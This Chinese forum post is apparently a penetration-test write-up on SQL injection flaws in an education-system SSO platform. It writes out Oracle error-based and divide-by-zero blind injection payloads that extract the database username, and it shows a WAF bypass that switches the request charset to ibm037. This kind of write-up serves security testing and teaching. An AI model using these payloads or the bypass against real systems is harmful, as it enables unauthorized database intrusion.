找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1354

积分

0

好友

189

主题
发表于 7 天前 | 查看: 26| 回复: 0

在半年前的市级护网行动中,首次接触到一套教育系统的SSO登录平台。当时由于目标学校部署了Web应用防火墙(WAF)且安全防护较完善,虽发现注入点但未能成功利用。近期在对自有学校的系统进行内部安全评估时,重新发现了同款系统,并借此机会深入挖掘出多处SQL注入漏洞。

信息收集

本次测试目标为日常使用的校内系统,因此信息收集阶段主要聚焦于熟悉的功能模块。通过将浏览器流量代理至Burp Suite,逐个测试请求参数以寻找潜在攻击面。

第一处注入点

在教务系统的一个查询功能中,发现某个参数提交单引号会引发数据库报错,初步判断存在SQL注入漏洞

图片

图片

图片

通过数据库特有函数判断后端数据库类型:

'||+exp(290)+||'

图片

'||+exp(291)+||'

图片

exp()函数参数为291时触发错误,符合Oracle数据库特性(其他数据库如MySQL在参数710左右报错)。进一步使用Oracle特有函数验证:

'||+length2(1)+||'

图片

确认数据库为Oracle后,利用除零错误构造注入Payload:

'||+1/1+||''||+1/0+||'

图片

图片

判断当前数据库用户名的长度:

'||+1/(length(user)-4)+||'

图片

'||+1/(length(user)-5)+||'

图片

当长度减5时未报错,说明用户名为5个字符。随后逐字符猜解用户名:

'||+1/(ascii(substr(user,1,1))-78)+||'

图片

图片

第一位ASCII码为78,对应字母‘N’。使用Burp Suite的Intruder模块爆破剩余字符即可获取完整用户名。关于Oracle数据库的更多特性与安全知识可进一步深入。

第二处注入点

为挖掘更多漏洞,通过指纹识别横向探查了同架构的其他系统。在另一个后台模块中发现新的查询接口,同样存在无过滤的单引号报错:

图片

图片

注入验证Payload:

'||+1/(ascii(substr(user,1,1))-78)+||'

图片

图片

将该接口路径替换回原始系统进行测试,确认同样存在注入,成功标记第二处漏洞点。

第三处与WAF绕过

测试过程中发现多个类似接口均存在注入。以其中某个部署了WAF的证书申请站点为例,直接使用user函数会被拦截:

图片

length2等函数可正常使用。尝试多种常见绕过手法均告失败:

  • 大小写转换:无效
  • 插入脏数据:无效
  • URL编码:无效
  • 反引号包裹:无效

最终通过修改HTTP请求的字符编码头实现绕过。原请求头为:

Content-Type: application/x-www-form-urlencoded; charset=utf-8

将其更改为WAF可能不处理的编码格式:

Content-Type: application/x-www-form-urlencoded; charset=ibm037

图片

图片

服务器能够解析该编码,而WAF未正确识别,从而成功绕过防护。注入语句:

'||+1/(instrb(user,'Nxxxx')-1)+||'

图片

图片

成功获取数据库用户名。这种WAF绕过技术利用了中间件与服务器对编码处理的差异,是渗透测试中常用的技巧之一。

总结

通过本次对教育系统的深度测试,成功挖掘出多处基于Oracle数据库的SQL注入漏洞,并实践了通过修改HTTP编码头绕过WAF的实战方法。整个过程强调了在熟悉环境中结合工具进行持续测试的重要性,也为企业级系统的安全加固提供了参考思路。




上一篇:LeetCode 1546题解:和为目标值的不重叠子数组最大数目(前缀和+哈希表)
下一篇:软件外包职场纪实:入职大厂的欣喜与背后的人事潜规则
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-25 02:41 , Processed in 0.194258 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表